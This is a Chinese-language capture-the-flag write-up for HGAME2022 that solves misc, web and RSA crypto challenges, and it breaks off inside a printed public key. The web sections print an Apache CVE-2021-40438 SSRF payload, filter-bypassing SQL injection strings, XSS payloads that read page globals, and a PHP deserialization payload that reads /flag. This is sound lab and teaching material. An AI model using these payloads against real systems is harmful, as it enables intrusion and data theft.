HGAME2022 wp


带*为赛后复现

第一周wp

MISC

欢迎欢迎!热烈欢迎!

签到

这个压缩包有点麻烦

压缩包,先真加密,爆破得到密码,然后字典爆破,再明文爆破,最后得到的一个藏着伪加密压缩包的图片,破掉伪加密把压缩包解压能得到flag

image-20220121171347731

好康的流量

wireshark打开,追踪tcp流得到一大串base64值,转成图片

image-20220121171627907

stegslove看一下

image-20220121171645072

找个在线扫条形码的网站扫一下得到前半部分,后半部分利用zsteg能直接看到

image-20220121171734983

群青(其实是幽灵东京)

第一个音频文件

image-20220123164910035

image-20220123164940731

猜密码是yoasobi

image-20220123164849913

得到一个网址,里面是sstv为文件名的音频文件,用robot36接收一下

得到一个二维码

image-20220123171839098

扫码拿到flag

image-20220123171902080

WEB

easy_auth

image-20220121171811854

题目描述暗示todo里藏着东西,看一下源码

image-20220121171913651

image-20220121171925729

image-20220121172104885

猜到flag可能再id为1的内容里

image-20220121172217273

访问的时候显示没添加cookie或者token

抓包给他加个jwt

image-20220121172251918

jwt可以根据前边的网页抓包得到的jwt修改

image-20220121172330976

蛛蛛...嘿嘿♥我的蛛蛛

image-20220121172512414

from time import sleep

import requests

url = "https://hgame-spider.vidar.club/6c5920c09d"
key = "?key=VmqCK2lB2LRY2sM%2F5rEjFXHRemjYkb%2BQ2YHG8z7oy1krIf6R%2FOVrA8Ho5G9rxahnu6%2BTfwj6ZRbt3YP405Y12Q%3D%3D"
for i in range(1, 1000):
    url = "https://hgame-spider.vidar.club/6c5920c09d"
    url = url + key
    print(url)
    r = requests.get(url=url)
    # if 'href' in r.text:
    print(r.text)
    lstNew = r.text
    if 'href' in lstNew:
        start = lstNew.find("href=\"?")
        print(start)
        end = lstNew.find("D\">点我试试")
        print(end)
        length = len("href=\"")
        l = lstNew[start + length:end +1]
        key = l
        print(key)
        if key == '':
            break
        sleep(0.5)
        if "hgame{" in r.text:
            print(r.text)
            break
    else:
        print(r.text)
        break

写的脚本(好拉的编程

跑到第100关后在响应头里找

image-20220121172754893

Tetris plus

源码里直接找

image-20220121172901215

image-20220121172914978

Fujiwara Tofu Shop

image-20220121172941617

先加个referer头为qiumingshan.net

然后改ua

再改cookie flavor = Raspberry

然后再加上一个Gasoline:100

再是要求本地登录,但是过滤了xff,换个头就行

image-20220121172941618

IOT

饭卡的uno

不会iot,但是这个把附件拖了ida里就能看见flag

image-20220121173504075

CRYPTO

Easy RSA

已知p,q,e和密文求明文的rsa

import libnum
from Crypto.Util.number import long_to_bytes
string = ''
flag = [(12433, 149, 197, 104), (8147, 131, 167, 6633), (10687, 211, 197, 35594), (19681, 131, 211, 15710), (33577, 251, 211, 38798), (30241, 157, 251, 35973), (293, 211, 157, 31548), (26459, 179, 149, 4778), (27479, 149, 223, 32728), (9029, 223, 137, 20696), (4649, 149, 151, 13418), (11783, 223, 251, 14239), (13537, 179, 137, 11702), (3835, 167, 139, 20051), (30983, 149, 227, 23928), (17581, 157, 131, 5855), (35381, 223, 179, 37774), (2357, 151, 223, 1849), (22649, 211, 229, 7348), (1151, 179, 223, 17982), (8431, 251, 163, 30226), (38501, 193, 211, 30559), (14549, 211, 151, 21143), (24781, 239, 241, 45604), (8051, 179, 131, 7994), (863, 181, 131, 11493), (1117, 239, 157, 12579), (7561, 149, 199, 8960), (19813, 239, 229, 53463), (4943, 131, 157, 14606), (29077, 191, 181, 33446), (18583, 211, 163, 31800), (30643, 173, 191, 27293), (11617, 223, 251, 13448), (19051, 191, 151, 21676), (18367, 179, 157, 14139), (18861, 149, 191, 5139), (9581, 211, 193, 25595)]
for x in range(38):
    c = flag[x][3]
    q = flag[x][2]
    p = flag[x][1]
    n = p*q
    e = flag[x][0]
    d = libnum.invmod(e, (p - 1) * (q - 1))
    m = pow(c, d, n)  
    string += str(long_to_bytes(m),'utf-8')
print(string)

image-20220121213332698

English Novel

给了四个文件,一个小说原文,一个加密后的小说,一个加密脚本,一个flag密文

先根据小说原文里的标点通过Linux的grep命令看一下相对的密文

image-20220122003056261

再根据加密脚本逆向写出求key的脚本,然后是求密文(真的好拉的编程

def encrypt(data, key):
    #   assert len(data) <= len(key)
    result = ""
    for i in range(len(data)):
        if data[i].isupper():
            result += chr((ord(data[i]) - ord('A') + key[i]) % 26 + ord('A'))
        elif data[i].islower():
            result += chr((ord(data[i]) - ord('a') + key[i]) % 26 + ord('a'))
        else:
            result += data[i]
    return result


def decrypt(result, key):
    #   assert len(data) <= len(key)
    data = ""
    for i in range(len(result)):
        if result[i].isupper():
            #result += chr((ord(data[i]) - ord('A') + key[i]) % 26 + ord('A'))
            for k in range(65,90):#python这个对负数求余真不知道怎么逆了,只能爆破了
                result1 = chr((k - ord('A') + key[i]) % 26 + ord('A'))
                if result1 == result[i]:
                    data += chr(k)
        elif result[i].islower():
            for k in range(96,123):
                result1 = chr((ord(chr(k)) - ord('a') + key[i]) % 26 + ord('a'))
                if result1 == result[i]:
                    data += chr(k)
        else:
            data += result[i]
    print(data)


def decryptkey(data1, result1):
    keyboard = []
    for n in range(25):
        for i in range(len(data1)):
            if data[i].isupper():
                # result += chr((ord(data[i]) - ord('A') + key[i]) % 26 + ord('A'))
                key = str((ord(result1[i]) - ord('A') + (26 * n)) + ord('A') - ord(data1[i]))
                keyboard.append(key)
            elif data[i].islower():
                key = str((ord(result1[i]) - ord('a') + (26 * n)) + ord('a') - ord(data1[i]))
                keyboard.append(key)
            else:
                key = 0
                keyboard.append(key)
        n = str(n)
        for i in keyboard:
            print(i, end=',')
        print('/n')


if __name__ == '__main__':
    data = """urveying the ground, Snowball declared that this was just the place for a windmill"""#这里写原文
    result = "klsyf{W0_j0v_ca0z_'Ks0ao-bln1qstxp_juqfqy'?}"#这里写密文
    a = [3, 5, -8, 12, 1, -2, -7, 10, 0, -15, 1, 1, 0, 18, -13, -7, 3, 12, 20, 0, 0, -16, 4, 1, -17, 12, 0, 13, -4, 0, -1, 15, 0, -4, 25, -17, 1, -3, 0, -12, 14, 3, 3, 0, 0, 8, -8, 6, 0, 0, 21, 7, 0, -5, -20, -6, -17, 0, -6, 13, 8, 0,2, 1, 20, 20, -1, 0, 16, -10, -1, 0, 21, 0, -6, -5, 9, 18, 10, 16, 10, 5, 0, 0, 0, 6, -8, -1, 7, 0, 20, 9, 2, 3, -3]
    #decryptkey(data, result)
    decrypt(result, a)
    #print(encrypt(data, a))

image-20220122003437238

这个flag在单引号里边的部分还是有点问题,可能是因为key的关系,但是由attfck能猜出attack,由pla1qtext能猜出plaintext,然后改完之后搜一下image-20220122003614141

最终flag

hgame{D0_y0u_kn0w_'Kn0wn-pla1ntext_attack'?}

第二周wp

WEB

Apache!*

有备份文件

image-20220205114347850

根据题目描述应该是ssrf漏洞,结合apache版本能搜到CVE-2021-40438

?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://internal.host/

但是网上的 exp 大多是 Apache 直接作为代理服务器的情况,这题给了 Apache 的配置文件 https-vhosts.conf , '/' 提供静态资源服务, '/proxy' 提供代理服务。

所以要在/proxy路径下用payload

webpack-engine

image-20220129140416825

看源码,两次base64解码得到flag

hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

一本单词书

看源码有www.zip的提示

代码审计一下

image-20220129140800363

简单的用户判断

绕过之后

image-20220129140849923

看index.php

image-20220129140911249

大致逻辑就是将输入的传入get.php和save.php进行处理

save.php

image-20220129141059537

将传入的单词的key和value写入文件中,并利用|来将key和value的序列化之后的值分隔。

get.php

image-20220129141542508

image-20220129141208348

读取save.php中创建的文件的内容

evil.php

image-20220129141359385

看见wakeup方法,再联系get.php时的unserialize可以猜测这里是要利用反序列化让file=/flag然后令flag变量的值变为flag再利用get.php将其读出来

这里要注意序列化的内容要在填在单词的位置,将其作为数组的key而不是value,否则在encode函数时会对value再进行一次序列化导致payload改变,无法执行反序列化操作

image-20220129184316177

还要在反序列化的payload前添加|符号

让|后的部分执行decode函数中的反序列化

将evil类中的file赋值为/flag,从而让flag=/flag文件中的内容

这里的if过滤没啥用

image-20220129185352257

最终payload

{|O:4:"Evil":2:{s:4:"file";s:4:"flag";s:4:"flag";N;}

image-20220129185511329

Pokemon

image-20220130223228959

开始页面,源码里提示了个index?id=1

输到url上能看出来id的数决定了出现的是哪个精灵

当id不是1,2,3其中的数时会跳转到error.php

刚开始感觉是sql注入,注了半天这个页面没报错,这里id的值感觉是通过php的弱比较来判断的,开始怀疑是不是别的漏洞。

image-20220130223531260

扫了一下扫到了db.php才确定就是sql注入

于是尝试在error界面注入

image-20220130223651689

当code不为数字时会出现报错

image-20220130223713519

刚开始没有给源码,试了好几次没试出来怎么注入

主办方给的源码:

image-20220130223751805

有了源码之后就是一个很简单的联合注入了

括号或者/*x*/替代空格,用like替代等于,双写绕过关键字,因为是数字型注入,所以也不需要注释符

爆库名

?code=1/*x*/ununionion/*x*/selselectect/*x*/1,database()

image-20220130221501997

?code=-1/*x*/ununionion/*x*/selselectect/*x*/1,group_concat(table_name)frfromom(infoorrmation_schema.tables)whwhereere(table_schema)like'pokemon'

image-20220130221833846

?code=-1/*x*/ununionion/*x*/selselectect/*x*/1,group_concat(column_name)frfromom(infoorrmation_schema.columns)whwhereere(table_name)like'fllllllllaaaaaag'

image-20220130221937816

?code=-1/*x*/ununionion/*x*/selselectect/*x*/1,(flag)frfromom/*x*/fllllllllaaaaaa

image-20220130222120527

At0m的留言板*

xss漏洞

说起这个我就想起来b站那次的xss,还有我还没开始的js学习(

先试一下

<script>alert(1)</script>

image-20220205121248714

确定是xss

然后主办方给了个hint

image-20220211120719244

输出用户留言位置的class标签名为content,然后还有一个用var定义的flag全局变量

为什么同样是两个变量,第一个使用let,而第二个使用var呢?因为使用 var 可 以利用 Object.keys(window) 拿到全局变量 flag 的变量名,而使用let的话无法获取。

也可以直接用Object.values(window)读取这些全局变量的内容,也就是直接获得flag

<img src=1 onerror="document.getElementsByClassName('content')[0].innerHTML= Object.values(window)">

image-20220211121033670

由于提示里这个flag定义在了一个script标签里,我们也可以用document.scripts来读出script标签里的内容

<img src=1 onerror="document.getElementsByClassName('content') [0].innerText=document.scripts[0].text;">

image-20220211124302100

CRYPTO

RSA Attack

rsa真是全套脚本就行

加密脚本

from Crypto.Util.number import getPrime
from libnum import s2n

from secret import flag

m = s2n(flag)
e = 65537
p = getPrime(80)
q = getPrime(80)
n = p * q
c = pow(m, e, n)
print("e =", e)
print("n =", n)
print("c =", c)

正常的rsa加密,给了e,n,c求m

image-20220129190127418

在线网站分解n得到pq

image-20220129190208787

import gmpy2
from libnum import n2s

def Decrypt(c, e, p, q):
   L = (p - 1) * (q - 1)
   d = gmpy2.invert(e, L)
   n = p * q
   m = gmpy2.powmod(c, d, n)
   flag = n2s(int(m)
   print(flag)


if __name__ == '__main__':
   p =  715800347513314032483037
   q =  978782023871716954857211
   e = 65537
   c = 122622425510870177715177368049049966519567512708
   Decrypt(c, e, p, q)

image-20220129190508606

RSA Attack 2

加密脚本

import re
from math import ceil
from Crypto.Util.number import getPrime
from libnum import s2n

#flag_parts = list(map(s2n, re.findall(rf".{{,{ceil(len(flag) / 3)}}}", flag)))

print("# task1")
m = 42949244670170607238949839659191560916635942982341043413490558510
e = 65537
p = 118106171709518613190337380120721639096109433871758551481750559628607841525199933396401045857313841962667087681000077908575349856203197989280137518119610447265022793158335778819939567162786340083036604758380394175830091289942677310940962706354018362632488404102976344446903748276214668285468119214940392725123
q = 123715343521970684000128799876071042830570723218116931151467220244765055889417626806554868114525566978436323975083498703832794561493291312079691396671274837322036085911028636844643698862533724625315331567014898932701977758733187411738771617885153639118174062773966499612201555575923412045644028857989016603411
r = 169239143092963922213343686924677363088963485633027091645501151388482565490233323796889691624272664985173525812002355530484741432847170511348177065704338978754457533424010842217007432554862861949141613925946472939183705336155629494107050470952474816647080432002189309272835581148740211208678012416960136441833
n1 = p * q
c1 = pow(m, e, n1)
n2 = r * q
c2 = pow(m, e, n2)
print("e =", e)
print("n1 =", n1)
print("c1 =", c1)
print("n2 =", n2)
print("c2 =", c2)

print("# task2")
m = 26926584401348540331333678102939069838976561137078484378892509505
e = 7
p = getPrime(1024)
q = getPrime(1024)
n = 14157878492255346300993349653813018105991884577529909522555551468374307942096214964604172734381913051273745228293930832314483466922529240958994897697475939867025561348042725919663546949015024693952641936481841552751484604123097148071800416608762258562797116583678332832015617217745966495992049762530373531163821979627361200921544223578170718741348242012164115593777700903954409103110092921578821048933346893212805071682235575813724113978341592885957767377587492202740185970828629767501662195356276862585025913615910839679860669917255271734413865211340126544199760628445054131661484184876679626946360753009512634349537
c = pow(m, e, n)
print("e =", e)
print("n =", n)
print("c =", c)

print("# task3")
m = flag_parts[2]
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e1 = getPrime(32)
e2 = getPrime(32)
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
print("n =", n)
print("e1 =", e1)
print("c1 =", c1)
print("e2 =", e2)
print("c2 =", c2)

将flag分了三段后分别用了不同的加密方式

第一段

代码能看出n1和n2有共同的素因子,那么可以利用欧几里得算法直接将 n1 和 n2 分解。通过欧几里得算法可以直接求出 n1 和 n2 的最大公约数 p:

output给了e,n1,n2,c1,c2

def gcd(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a

def gcd_digui(a, b):
    if b != 0:
        return a
    return gcd(b, a % b)

n1 = 14611545605107950827581005165327694782823188603151768169731431418361306231114985037775917461433925308054396970809690804073985835376464629860609710292181368600618626590498491850404503443414241455487304448344892337877422465715709154238653505141605904184985311873763495761345722155289457889686019746663293720106874227323699288277794292208957172446523420596391114891559537811029473150123641624108103676516754449492805126642552751278309634846777636042114135990516245907517377320190091400729277307636724890592155256437996566160995456743018225013851937593886086129131351582958811003596445806061492952513851932238563627194553
n2 = 20937478725109983803079185450449616567464596961348727453817249035110047585580142823551289577145958127121586792878509386085178452171112455890429474457797219202827030884262273061334752493496797935346631509806685589179618367453992749753318273834113016237120686880514110415113673431170488958730203963489455418967544128619234394915820392908422974075932751838012185542968842691824203206517795693893863945100661940988455695923511777306566419373394091907349431686646485516325575494902682337518438042711296437513221448397034813099279203955535025939120139680604495486980765910892438284945450733375156933863150808369796830892363
p = gcd(n1, n2)
q = n1//p
r = n2//p
print(p)
print(q)
print(r)

image-20220129191322862

p=123715343521970684000128799876071042830570723218116931151467220244765055889417626806554868114525566978436323975083498703832794561493291312079691396671274837322036085911028636844643698862533724625315331567014898932701977758733187411738771617885153639118174062773966499612201555575923412045644028857989016603411

q=118106171709518613190337380120721639096109433871758551481750559628607841525199933396401045857313841962667087681000077908575349856203197989280137518119610447265022793158335778819939567162786340083036604758380394175830091289942677310940962706354018362632488404102976344446903748276214668285468119214940392725123

r=169239143092963922213343686924677363088963485633027091645501151388482565490233323796889691624272664985173525812002355530484741432847170511348177065704338978754457533424010842217007432554862861949141613925946472939183705336155629494107050470952474816647080432002189309272835581148740211208678012416960136441833

这就相当于有了enc,带到前一个题的代码里得到

hgame{RsA@hAS!a&VArIETY?of.

第二段

e=7像低加密指数分解攻击,直接开七次方

import gmpy2
from libnum import n2s

e = 7
# 读入 n, 密文
n = 14157878492255346300993349653813018105991884577529909522555551468374307942096214964604172734381913051273745228293930832314483466922529240958994897697475939867025561348042725919663546949015024693952641936481841552751484604123097148071800416608762258562797116583678332832015617217745966495992049762530373531163821979627361200921544223578170718741348242012164115593777700903954409103110092921578821048933346893212805071682235575813724113978341592885957767377587492202740185970828629767501662195356276862585025913615910839679860669917255271734413865211340126544199760628445054131661484184876679626946360753009512634349537
c = 10262871020519116406312674685238364023536657841034751572844570983750295909492149101500869806418603732181350082576447594766587572350246675445508931577670158295558641219582729345581697448231116318080456112516700717984731655900726388185866905989088504004805024490513718243036445638662260558477697146032055765285263446084259814560197549018044099935158351931885157616527235283229066145390964094929007056946332051364474528453970904251050605631514869007890625

print('n=', n)
print('c=', c)

result = gmpy2.iroot(c, 7)

print('  [-]The c has cubic root?', result[1])
if result[1]:
    print('  [-]The m is:', '{:x}'.format(result[0]))

得到m = 0x41747461634b5e6d4554686f64535e776841543a6f746865722141

转字符串的为AttacK^mEThodS^whAT:other!A

第三段

共模攻击

from gmpy2 import *
from libnum import n2s

n = 18819509188106230363444813350468162056164434642729404632983082518225388069544777374544142317612858448345344137372222988033366528086236635213756227816610865045924357232188768913642158448603346330462535696121739622702200540344105464126695432011739181531217582949804939555720700457350512898322376591813135311921904580338340203569582681889243452495363849558955947124975293736509426400460083981078846138740050634906824438689712748324336878791622676974341814691041262280604277357889892211717124319329666052810029131172229930723477981468761369516771720250571713027972064974999802168017946274736383148001865929719248159075729
e1 = 2519901323
e2 = 3676335737
s = gcdext(e1, e2)
s1 = s[1]
s2 = -s[2]

c1 = 3230779726225544872531441169009307072073754578761888387983403206364548451496736513905460381907928107310030086346589351105809028599650303539607581407627819797944337398601400510560992462455048451326593993595089800150342999021874734748066692962362650540036002073748766509347649818139304363914083879918929873577706323599628031618641793074018304521243460487551364823299685052518852685706687800209505277426869140051056996242882132616256695188870782634310362973153766698286258946896866396670872451803114280846709572779780558482223393759475999103607704510618332253710503857561025613632592682931552228150171423846203875344870
c2 = 940818595622279161439836719641707846790294650888799822335007385854166736459283129434769062995122371073636785371800857633841379139761091890426137981113087519934854663776695944489430385663011713917022574342380155718317794204988626116362865144125136624722782309455452257758808172415884403909840651554485364309237853885251876941477098008690389600544398998669635962495989736021020715396415375890720335697504837045188626103142204474942751410819466379437091569610294575687793060945525108986660851277475079994466474859114092643797418927645726430175928247476884879817034346652560116597965191204061051401916282814886688467861
e2 = 3676335737
c2 = invert(c2, n)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(m)
print(n2s(int(m)))

image-20220129192505430

最终flag

hgame{RsA@hAS!a&VArIETY?of.AttacK^mEThodS^whAT:other!AttACK|METHOdS~do@you_KNOW}

第三周wp

CRYPTO

这周密码比上周要简单

Multi Prime RSA

加密脚本

image-20220204171309886

给了这除了flag其他的变量都给了

p = 61789932148719477384027458333380568978056286136137829092952317307711908353477
q = 91207969353355763685633284378833506319794714507027332929290701748727534193861
r = 105471299607375388622347272479207944509670502835651250945203397530010861809367
s = 83153238748903772448138307505579799277162652151244477391465130504267171881437
n = 1039344372165087100001063920598151812324151064684841845250974758525265148567706103784958424873181721352440209284812493753972556519482026327282644619091466886523804841248277210353173383407944598453848113815866908595335619458549486958764490103808475329598085842184963065068499489886467911087295087163762599284622055185456905774507245781667293199205317692029829495961487347944813874415423771980660778986211145841712412631156369129146470119135136378158203459576596246169191419488560832734046076107673091995860021863239882608638458149930255944184863801278386551031980146460231515747754411678651752698881001464973981424240781413084941947261875289725538959720572496329348499870580057997540844488309111059240745081048324762866572948371222839278718034435739827677190025500802453626872356208612718417249649474571197167076916403582394186357812640566250930361276229969553128128312736245440129556020108188835966131425956431796417720436474093381770796431629523054378258497546013222494974549262140415585158985940966415459478150722832119691308697510189026447359189994055885090735411738332296254011208547676914004864732327863884217733456287369771087094514708468685641820375220835485053482570852619363091173324203334503461823983610886849930944250553928855506012684504211525542998575275626784129736345142772399109273619522445919
e = 65537
c = 844677395496466411520394190869787261209960246734415406217975986418865760680024542119231873259131861208878522030009923057991526761346423130242121884493257732067700857897379859545356609151834223804262174935191718271211809221730601602827122249238086030580971376104724987801049500689134122609834321586609223761140538079460830213824674361601046367637227094018381901291488659642720549583856812747877519600804325570421770575999289389175021646347371879234023647657507178519047236746071420327155188213839293382288787853777540226192644761028822256165706787395891134765908229036044468473519166141610604791485071702808854944672418124203289328124793348198048601338476086482318248264508789781967910205393740835345086784345145351367491197717933757414967811594913692588314161669333147733048171044386546892346475181197482702164468542430187885074163177843285948999943328049159021873821254267471067523609151007885131921896462161216356454116929796355815756642621369974260365378070336290542971599886325232821981080341858950609157813769416455337935096696635623426418166316737131174435618543058086342714723330814586496030805366321181723292731710369013923285787724941830672247377301048663929453294620044701627159066468762709113137517559435822623284148112827473010030736329596829357275518641576798298066541516764673029908084962144713

直接找个rsa的解密脚本带进去就行

image-20220204123448819

RSA Attack 3

加密脚本

from Crypto.Util.number import getPrime
from gmpy2 import invert
from libnum import s2n
from secret import flag

p = getPrime(2048)
q = getPrime(2048)
n = p * q
d = getPrime(64)
e = invert(d, (p - 1) * (q - 1))
c = pow(s2n(flag), e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")

只给了nec,想要得到明文还要有d,要求d就要指定pq。

利用rsactftool求公钥私钥文件然后得到pq

image-20220204172702618

得到公钥

-----BEGIN PUBLIC KEY-----
MIIEIDANBgkqhkiG9w0BAQEFAAOCBA0AMIIECAKCAgB8YNfjXEOhimdPq0kh+WM0
IfRLCvq/XAePL0PkAM55+/nlEzPvZxW9PHi64GAYcMXPUVIxWvhbkXrVJkxt2+Gz
B13g1yCAebp0DeN9RbSPvV08IWsZnzHG8/tV9UEByd76xOEO1MTanUBdrewtp0NW
tkHvMKwmuKFVOWKypHT8JGnwZw5FOGV9ABTJ4i2vA8WPcf36M2HRRIlUO6IXIZYc
BMoORsCwF4XJ+6xyZNDIXKdt2hYkm6M6ywCvRKj1Wj6zjls1eNt5mO8OOShMvs/M
XamEESd8Wv6qG4Dmld/HmYVoBWqa1mw7r2g46xf3hzDtcU9FIkypszXLh+9TK/OE
fZFqUq0jM97Sl9ltGvEkRfP4QEDA/MJxNtPk72pXmtx0iXmotX8SRSxvb3nksQXQ
eWrncKwZ58wY/pVFZxKCzlJO5VUqdRSymtez1wqQZoQORQdt/iDOj4VB4fuL5VEs
z6Svc9izyYaP4JCg67S6UQoTOipUnLYX+DcR2jkVpwgCLkaC3Qqipkm0prE77OzA
